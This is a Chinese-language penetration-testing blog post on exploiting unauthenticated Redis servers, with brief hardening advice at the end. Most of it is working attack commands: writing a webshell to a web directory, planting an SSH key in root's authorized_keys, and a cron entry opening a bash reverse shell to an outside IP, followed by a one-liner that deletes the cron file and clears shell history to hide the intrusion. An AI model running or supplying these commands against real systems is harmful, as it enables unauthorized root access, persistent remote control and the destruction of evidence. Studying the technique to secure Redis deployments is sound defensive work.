Braid信息安全博客 - Web安全|代码审计|安全开发|Java|php|python

【渗透测试】 Redis未授权访问漏洞的利用姿势

0x01 Redis简介

redis是一个key-value型数据库,信息以键对应值的关系存储在内存中,当然可以把其存储至硬盘上。项目中使用redis做任务队列的存储器可以很容易实现分布式,另外也开始流行使用redis作为session的存储器来替换传统的文件方式。在默认情况下,Redis会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis的数据。
redis的配置中,有以下几个关键的点:

dir,指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。
dbfilename,RDB文件名,默认为“dump.rdb”
appendonly,是否开启AOF
appendfilename,AOF文件名,默认为“appendonly.aof”
appendfsync,AOF备份方式:always、everysec、no


0x02 Redis之WebShell

如果服务器存在web项目,并且你知道了系统路径,我们就可以通过如下方法来获取该服务器的webshell。

即我们可以将dir设置为web目录/usr/share/nginx/html/,而dbfilename为文件名1.shell,再执行save或bgsave,则我们就可以在web目录下写入一个webshell。

0x03 Redis之SSH

攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
首先在本地生产公私钥文件:

$ssh-keygen –t rsa


然后将公钥写入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接 Redis 写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK


这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

0x04 Redis之计划任务

通过Redis的config命令,可以写入任意文件,权限足够的情况下即可写入定时任务反弹得到SHELL
利用方式如下:

# 连上一台Redis
redis-cli -h your_redis_server

# 保持写入的干净,清除原有数据(如果是其它人机器,不建议这么做)
# flushall

# 设置key(0)为bash反弹shell的脚本,每分钟执行一次,在自己服务器上监听7890端口(nc -vvl 7890)
set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/103.21.140.84/7890 0>&1\n\n"

# 设置保存的位置
config set dir /var/spool/cron/

# 设置保存的文件名
config set dbfilename root

# 保存
save

# 至此就会在目标Redis服务器产生一个Cron文件/var/spool/cron/root,如果目标服务器Crond服务没有关闭的话,该文件就会每分钟反弹一次SHELL。
# 只需要在自己的服务器上监听7890端口,即可控制目标服务器。

退出目标服务器时,为了防止Cron再次连接,可以用如下命令退出

ps aux | grep 7890 | awk '{ print $2 }'|xargs kill;rm -f /var/spool/cron/root;history -c  && exit  
多种利用姿势

这种方式简单粗暴明了,连提权都省了~

0x05 安全建议

1.配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。
2.配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。
3.配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度。
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。

参考来源:
https://www.secpulse.com/archives/5357.html
https://www.secpulse.com/archives/40406.html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
http://wufeifei.com/redis/